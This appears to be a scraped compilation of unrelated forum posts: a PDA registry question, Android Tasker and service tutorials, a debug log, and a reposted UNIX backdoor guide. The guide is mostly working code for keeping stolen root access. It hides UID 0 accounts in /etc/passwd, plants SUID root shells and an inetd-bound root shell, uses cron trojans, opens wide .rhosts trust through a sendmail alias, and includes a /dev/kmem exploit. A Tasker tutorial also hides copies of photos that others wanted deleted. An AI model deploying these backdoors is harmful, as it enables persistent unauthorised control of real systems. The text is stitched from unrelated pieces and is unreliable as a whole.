Related
Hey guys,
I'm trying to create a batch script for deploying pda's and I need to disable the hardware buttons on a Pharos. Here's what i've found:
In a command line, you can use the command
Code:
REG DELETE \\HKLM\Software\microsoft\shell\keys\ /va /f
But i'm thinking this command deletes the LOCAL key on the computer, and I obviously need it to delete it on the PDA.
I've used this example:
Code:
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
KeyName [\\Machine\]FullKey
Machine Name of remote machine - omitting defaults to the current machine
Only HKLM and HKU are available on remote machines
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey The full name of a registry key under the selected ROOTKEY
ValueName The value name, under the selected Key, to delete
When omitted, all subkeys and values under the Key are deleted
/ve delete the value of empty value name <no name>
/va delete all values under this key
/f Forces the deletion without propmt
Examples:
REG DELETE HKLM\Software\MyCo\MyApp\Timeout
Deletes the registry key Timeout and its all subkeys and values
Anyone have a clue?
i would read up on doing it with morth scripts on the pda
I don't think that's an option, since I have 500+ devices to configure... I'll look into it, but i'm hoping someone could help me out with my first script.
/me = stupid.
I should've thought of this earlier: i can make a cabfile and then push it to the device with the batch script.
Problem solved.
I thought this was interesting paper written by an unknown author
You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing.After seeming endless you've managed to steal root. Now what? How do you hold onto this precious super-user
privilege you have worked so hard to achieve....?
This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
ways into one.
Beforehand
Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...
The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
looking for back doors.
The JDevil Overt
[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# [email protected]
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "jdevil::0:0:jdevil:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
NEVER, EVER, change the root password. The reasons are obvious.
[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
field).
[3] Leave an SUID root shell in /tmp.
#!/bin/sh
# Everyone's favorite...
cp /bin/csh /tmp/.JDEVIL # Don't name it that...
chmod 4755 /tmp/.JDEVIL
Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
The JDEVIL Veiled
[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
lines look like this:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
This is done with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
file, etc...
For the insinuation-impaired, try this:
Open the /etc/inetd.conf in an available editor. Find the line that reads:
daytime stream tcp nowait root internal
and change it to:
daytime stream tcp nowait /bin/sh sh -i.
You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
to do this off peak hours).
[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:
(1) (2)/(3) (4)
smtp 25/tcp mail
Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
associated with the service. For instance, add this line to /etc/services:
jdevil 22/tcp jdevil
and this line to /etc/inetd.conf:
jdevil stream tcp nowait /bin/sh sh -i
Restart inetd as before.
Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
they offer rentry from *any* account on *any* computer on the Internet.
[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
entry has six fields:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb
Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
shady intentions). Add this line to /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
This is the shell script:
#!/bin/csh
# Is our jdevil still on the system? Let's make sure he is.
#[email protected]
set JDEVILflag = (`grep jdevil /etc/passwd`)
if($#JDEVILflag == 0) then # Is he there?
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "jdevil::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif
[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
would be ok. Add this line to root's crontab file:
29 2 * * * /bin/usr/_passwd
make sure this exists:
#echo "root:1234567890123:0:0perator:/:/bin/csh" > /var/spool/mail/.passwd
and this is the simple shell script:
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#[email protected]
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/passwd /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
Make sure it runs as root. Name it something innocous. Hide it well.
/* A little trojan to create an SUID root shell, if the proper argument is
given. C code, rather than shell to hide obvious it's effects. */
/* [email protected] */
#include
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan
messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */
[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:
"decode: "|/usr/bin/uudecode"
to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
.rhosts file. For a one liner (not faked, however) do this:
%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail [email protected]
You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
choosing. Many of the previous scripts and methods can be employed here.
The JDEVIL Covert
[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:
get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...
Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.
The JDEVIL Esoteric
[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
your current process, then spawn a csh, which will inherit this UID. The following program does just that.
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practical tutorial"
with some modifications by [email protected] */
#include
#include
#include
#include
#include
#include
#include
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
} /* End main */
#include
#include
#include
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}
[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before
JDevil
Happy Reading
There are some small spacing errors in code but you the idea
Dear XDA-Members
After some have requested me to post my tasker profile here is a noob friendly walk trough.
This is the first time I make a tutorial like this so any corrections are more then welcome (since English isn't my native language)
I haven't made this fully on my own, some ideas I got from other posts.
So here it goes:
It was hard to find a good trigger for the task to start and I decided to add it to opening/closing of the camera app.
Profiles:
Application -> (Your default photo app (you can add more then one)
Start task:
Variable / Variable set / name = %Camerastart / To %TIMES - 15 //Set a variable so you can later compare which photos are new and which are old
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
2. Task / For / Variable = %File / Items = %Files(1 // For every variable do the next loop
-3. File / Test File / Type = Modified / Data = %File / Store result In = %Filetime / Continue Task After Error = True // Look when the photo was taken (modified)
-4. Task / If / Condition = %Filetime > %Camerastart // Compare the variables to see if the photo is either new or old
--5. File / Copy File / From = %File / To = DCIM/Backup (Location of folder you want to copy the new photos too) / (Use root = true // optional) // If true copy the photo to another map
-6. Task / End If // Self explanatory
7. Task / End for // End the loop
I Hope you guys liked this tutorial and I helped some of you out.
I also uploaded the .txt file, rename it to .xml so you can easily import it to tasker. (This was made with the newest version (4.5u1)
Edit: Forgot to add one thing, add a file named .nomedia to the folder where you place the extra photos (Do this with root explorer or some other that displays hidden items), this will prevent the photos from displaying in the gallery app.
// Old
Dear XDA-Members,
I'm not sure if something like this already exists but after a while of searching I haven't found anything like this.
We probably all had one of those moments in our life that we took a photo of something or someone that we wanted to keep really badly but someone forced us to delete it from the gallery.
So my idea was that after a photo gets taken by the camera app and saved to the default location /sdcard/DCIM/camera (or other place, dependence on the camera app (possibly customizable setting?)) a backup is instantly made to a folder (of choice) that isn't displayed in any gallery. And I know dropbox could instantly sync this to the cloud but this firstly drains my data plan and you can't save it locally and only on the cloud (not talking about the huge amount of battery that is drained).
Maybe it's easier to make a camera app that saves a photo on 2 places (one displayed in the gallery and the other one is saved in a secret folder that you can assign yourself and see with the most file browsers.)
I hope you guys like this idea and maybe someone could work this out if they have the time for it.
tldr; Lightweight app that secretly 'backups' photos to a secret folder that isn't displayed in the gallery app.
Sorry for my English, it isn't my native language.
Tasker can do that
Tasker?
mushipkw said:
Tasker can do that
Click to expand...
Click to collapse
What would be the trigger event then?
I have explored all the tasker options but weren't able to find anything that could reproduce this.
Tasker worked
Mikhail5555 said:
What would be the trigger event then?
I have explored all the tasker options but weren't able to find anything that could reproduce this.
Click to expand...
Click to collapse
Wow, I can't believe how powerful tasker actually is.
I managed to make a task for backing up photos made by my standard camera. It took me an hour but it is working now.
If anyone interested in the task send me a pm and I will send the task.
Mikhail5555 said:
Dear XDA-Members
After some have requested me to post my tasker profile here is a noob friendly walk trough.
This is the first time I make a tutorial like this so any corrections are more then welcome (since English isn't my native language)
I haven't made this fully on my own, some ideas I got from other posts.
So here it goes:
It was hard to find a good trigger for the task to start and I decided to add it to opening/closing of the camera app.
Profiles:
Application -> (Your default photo app (you can add more then one)
Start task:
Variable / Variable set / name = %Camerastart / To %TIMES - 15 //Set a variable so you can later compare which photos are new and which are old
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
2. Task / For / Variable = %File / Items = %Files(1 // For every variable do the next loop
-3. File / Test File / Type = Modified / Data = %File / Store result In = %Filetime / Continue Task After Error = True // Look when the photo was taken (modified)
-4. Task / If / Condition = %Filetime > %Camerastart // Compare the variables to see if the photo is either new or old
--5. File / Copy File / From = %File / To = DCIM/Backup (Location of folder you want to copy the new photos too) / (Use root = true // optional) // If true copy the photo to another map
-6. Task / End If // Self explanatory
7. Task / End for // End the loop
I Hope you guys liked this tutorial and I helped some of you out.
I also uploaded the .txt file, rename it to .xml so you can easily import it to tasker. (This was made with the newest version (4.5u1)
// Old
Dear XDA-Members,
I'm not sure if something like this already exists but after a while of searching I haven't found anything like this.
We probably all had one of those moments in our life that we took a photo of something or someone that we wanted to keep really badly but someone forced us to delete it from the gallery.
So my idea was that after a photo gets taken by the camera app and saved to the default location /sdcard/DCIM/camera (or other place, dependence on the camera app (possibly customizable setting?)) a backup is instantly made to a folder (of choice) that isn't displayed in any gallery. And I know dropbox could instantly sync this to the cloud but this firstly drains my data plan and you can't save it locally and only on the cloud (not talking about the huge amount of battery that is drained).
Maybe it's easier to make a camera app that saves a photo on 2 places (one displayed in the gallery and the other one is saved in a secret folder that you can assign yourself and see with the most file browsers.)
I hope you guys like this idea and maybe someone could work this out if they have the time for it.
tldr; Lightweight app that secretly 'backups' photos to a secret folder that isn't displayed in the gallery app.
Sorry for my English, it isn't my native language.
Click to expand...
Click to collapse
Excellent, just what i was looking for. Great tutorial.
---------- Post added at 01:29 AM ---------- Previous post was at 01:19 AM ----------
Might want to change the title of the post
Since your request was pretty much solved by yourself.
GerManiac said:
Excellent, just what i was looking for. Great tutorial.
---------- Post added at 01:29 AM ---------- Previous post was at 01:19 AM ----------
Might want to change the title of the post
Since your request was pretty much solved by yourself.
Click to expand...
Click to collapse
Completely forgot about the title, sorry [emoji15]
How you import?
eloko said:
How you import?
Click to expand...
Click to collapse
Just follow the instructions and make it yourself, the directories might not work if you import
eloko said:
How you import?
Click to expand...
Click to collapse
Otherwise download the .txt file, rename it to .xml and import it into tasker. (Don't forget to change the dirs)
Mikhail5555 said:
Otherwise download the .txt file, rename it to .xml and import it into tasker. (Don't forget to change the dirs)
Click to expand...
Click to collapse
I don't see the option to import.
I try when I have the chance to be on pc.
Thanks
Mikhail5555 said:
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
Click to expand...
Click to collapse
Thanks for the very nice tutorial of yours
I have a question or rather a problem!
What if I wanted to make a backup of videos too, how should I add to the list?
M S T F said:
Thanks for the very nice tutorial of yours
I have a question or rather a problem!
What if I wanted to make a backup of videos too, how should I add to the list?
Click to expand...
Click to collapse
Thanks for the nice words, It is actually pretty easy to add more files to the list of items that are gettings copied.
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
Just edit the "Match = *.jpg" to for instant "Match = *.jpg/*.mp4/*.png".
The / means OR so you can add almost all the file extentions that you want and/or need.
Don't forget the scan will take longer the more items you add.
Mikhail5555 said:
Thanks for the nice words, It is actually pretty easy to add more files to the list of items that are gettings copied.
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
Just edit the "Match = *.jpg" to for instant "Match = *.jpg/*.mp4/*.png".
The / means OR so you can add almost all the file extentions that you want and/or need.
Don't forget the scan will take longer the more items you add.
Click to expand...
Click to collapse
Thanks for the reply,
After adding mp4 to the list I ran into error, as you can see in the following screenshot.
Actually the remaining photos after the first video file in the folder aren't backed up. but the first video file itself is copied to the destination folder.
Any idea what could be the reason
M S T F said:
Thanks for the reply,
After adding mp4 to the list I ran into error, as you can see in the following screenshot.
Actually the remaining photos after the first video file in the folder aren't backed up. but the first video file itself is copied to the destination folder.
Any idea what could be the reason
Click to expand...
Click to collapse
Try disabling 'use root', i'm not sure why the copying times out though
Could you also show the bottem lines from the error that tasker gives?
Mikhail5555 said:
Try disabling 'use root', i'm not sure why the copying times out though
Could you also show the bottem lines from the error that tasker gives?
Click to expand...
Click to collapse
Here I have copied the whole log for your consideration. I am looking forward for a solution.:good:
Code:
16.28.14/Variables doreplresult: |%File| -> |/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4|
16.28.14/Variables doreplresult: |%File| -> |/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4|
16.28.14/Shell runSync test -e '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' root: true timeout: 3000
16.28.14/Shell have process
16.28.14/Shell write cmd: test -e '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process timeout timer 3000ms for: test -e '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process-thread ID 530
16.28.14/Shell joined with 530
16.28.14/Shell exit result: 0
16.28.14/Shell non-null timeout
16.28.14/Shell runSync test -f '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' root: true timeout: 3000
16.28.14/Shell have process
16.28.14/Shell write cmd: test -f '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process timeout timer 3000ms for: test -f '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process-thread ID 532
16.28.14/Shell joined with 532
16.28.14/Shell exit result: 0
16.28.14/Shell non-null timeout
16.28.14/Shell runSync test -d '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' root: true timeout: 3000
16.28.14/Shell have process
16.28.14/Shell write cmd: test -d '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process timeout timer 3000ms for: test -d '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process-thread ID 534
16.28.15/Shell joined with 534
16.28.15/Shell exit result: 1
16.28.15/Shell non-null timeout
16.28.15/Shell runSync test -e '/storage/extSdCard/Camera-Backup' root: true timeout: 3000
16.28.15/Shell have process
16.28.15/Shell write cmd: test -e '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process timeout timer 3000ms for: test -e '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process-thread ID 536
16.28.15/Shell joined with 536
16.28.15/Shell exit result: 0
16.28.15/Shell non-null timeout
16.28.15/Shell runSync test -f '/storage/extSdCard/Camera-Backup' root: true timeout: 3000
16.28.15/Shell have process
16.28.15/Shell write cmd: test -f '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process timeout timer 3000ms for: test -f '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process-thread ID 538
16.28.15/Shell joined with 538
16.28.15/Shell exit result: 1
16.28.15/Shell non-null timeout
16.28.15/Shell runSync test -d '/storage/extSdCard/Camera-Backup' root: true timeout: 3000
16.28.15/Shell have process
16.28.15/Shell write cmd: test -d '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process timeout timer 3000ms for: test -d '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process-thread ID 540
16.28.15/Shell joined with 540
16.28.15/Shell exit result: 0
16.28.15/Shell non-null timeout
16.28.15/Shell runSync cp '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' '/storage/extSdCard/Camera-Backup' root: true timeout: 7000
16.28.15/Shell have process
16.28.15/Shell write cmd: cp '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process timeout timer 7000ms for: cp '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process-thread ID 542
16.28.22/Shell joined with 542
16.28.22/Shell exit result: 9
16.28.22/Shell non-null timeout
Author: Apriorit (Device Team)
Permanent link: www(dot)apriorit(dot)com/our-company/dev-blog/130-development-for-android
In this article I’ve described:
• How to develop simple Java service for the Android Devices;
• How to communicate with a service from the other processes and a remote PC;
• How to install and start the service remotely from the PC.
1. Java Service Development for the Android Devices
Services are long running background processes provided by Android. They could be used for background tasks execution. Tasks can be different: background calculations, backup procedures, internet communications, etc. Services can be started on the system requests and they can communicate with other processes using the Android IPC channels technology. The Android system can control the service lifecycle depending on the client requests, memory and CPU usage. Note that the service has lower priority than any process which is visible for the user.
Let’s develop the simple example service. It will show scheduled and requested notifications to user. Service should be managed using the service request, communicated from the simple Android Activity and from the PC.
First we need to install and prepare environment:
• Download and install latest Android SDK from the official web site http://developer.android.com);
• Download and install Eclipse IDE (http://www.eclipse.org/downloads/);
• Also we’ll need to install Android Development Tools (ADT) plug-in for Eclipse.
After the environment is prepared we can create Eclipse Android project. It will include sources, resources, generated files and the Android manifest.
1.1 Service class development
First of all we need to implement service class. It should be inherited from the android.app.Service (http://developer.android.com/reference/android/app/Service.html) base class. Each service class must have the corresponding <service> declaration in its package's manifest. Manifest declaration will be described later. Services, like the other application objects, run in the main thread of their hosting process. If you need to do some intensive work, you should do it in another thread.
In the service class we should implement abstract method onBind. Also we override some other methods:
onCreate(). It is called by the system when the service is created at the first time. Usually this method is used to initialize service resources. In our case the binder, task and timer objects are created. Also notification is send to the user and to the system log:
Code:
01.public void onCreate()
02.{
03. super.onCreate();
04. Log.d(LOG_TAG, "Creating service");
05. showNotification("Creating NotifyService");
06.
07. binder = new NotifyServiceBinder(handler, notificator);
08. task = new NotifyTask(handler, notificator);
09. timer = new Timer();
10.}
onStart(Intent intent, int startId). It is called by the system every time a client explicitly starts the service by calling startService(Intent), providing the arguments it requires and the unique integer token representing the start request. We can launch background threads, schedule tasks and perform other startup operations.
Code:
1.public void onStart(Intent intent, int startId)
2.{
3. super.onStart(intent, startId);
4. Log.d(LOG_TAG, "Starting service");
5. showNotification("Starting NotifyService");
6.
7. timer.scheduleAtFixedRate(task, Calendar.getInstance().getTime(), 30000);
8.}
onDestroy(). It is called by the system to notify a Service that it is no longer used and is being removed. Here we should perform all operations before service is stopped. In our case we will stop all scheduled timer tasks.
Code:
1.public void onDestroy()
2.{
3. super.onDestroy();
4. Log.d(LOG_TAG, "Stopping service");
5. showNotification("Stopping NotifyService");
6.
7. timer.cancel();
8.}
onBind(Intent intent). It will return the communication channel to the service. IBinder is the special base interface for a remotable object, the core part of a lightweight remote procedure call mechanism. This mechanism is designed for the high performance of in-process and cross-process calls. This interface describes the abstract protocol for interacting with a remotable object. The IBinder implementation will be described below.
Code:
1.public IBinder onBind(Intent intent)
2.{
3. Log.d(LOG_TAG, "Binding service");
4. return binder;
5.}
To send system log output we can use static methods of the android.util.Log class (http://developer.android.com/reference/android/util/Log.html). To browse system logs on PC you can use ADB utility command: adb logcat.
The notification feature is implemented in our service as the special runnable object. It could be used from the other threads and processes. The service class has method showNotification, which can display message to user using the Toast.makeText call. The runnable object also uses it:
Code:
01.public class NotificationRunnable implements Runnable
02.{
03. private String message = null;
04.
05. public void run()
06. {
07. if (null != message)
08. {
09. showNotification(message);
10. }
11. }
12.
13. public void setMessage(String message)
14. {
15. this.message = message;
16. }
17.}
Code will be executed in the service thread. To execute runnable method we can use the special object android.os.Handler. There are two main uses for the Handler: to schedule messages and runnables to be executed as some point in the future; and to place an action to be performed on a different thread than your own. Each Handler instance is associated with a single thread and that thread's message queue. To show notification we should set message and call post() method of the Handler’s object.
1.2 IPC Service
Each application runs in its own process. Sometimes you need to pass objects between processes and call some service methods. These operations can be performed using IPC. On the Android platform, one process can not normally access the memory of another process. So they have to decompose their objects into primitives that can be understood by the operating system , and "marshall" the object across that boundary for developer.
The AIDL IPC mechanism is used in Android devices. It is interface-based, similar to COM or Corba, but is lighter . It uses a proxy class to pass values between the client and the implementation.
AIDL (Android Interface Definition Language) is an IDL language used to generate code that enables two processes on an Android-powered device to communicate using IPC. If you have the code in one process (for example, in Activity) that needs to call methods of the object in another process (for example, Service), you can use AIDL to generate code to marshall the parameters.
Service interface example showed below supports only one sendNotification call:
Code:
1.interface INotifyService
2.{
3.void sendNotification(String message);
4.}
The IBinder interface for a remotable object is used by clients to perform IPC. Client can communicate with the service by calling Context’s bindService(). The IBinder implementation could be retrieved from the onBind method. The INotifyService interface implementation is based on the android.os.Binder class (http://developer.android.com/reference/android/os/Binder.html):
Code:
01.public class NotifyServiceBinder extends Binder implements INotifyService
02.{
03. private Handler handler = null;
04. private NotificationRunnable notificator = null;
05.
06. public NotifyServiceBinder(Handler handler, NotificationRunnable notificator)
07. {
08. this.handler = handler;
09. this.notificator = notificator;
10. }
11.
12. public void sendNotification(String message)
13. {
14. if (null != notificator)
15. {
16. notificator.setMessage(message);
17. handler.post(notificator);
18. }
19. }
20.
21. public IBinder asBinder()
22. {
23. return this;
24. }
25.}
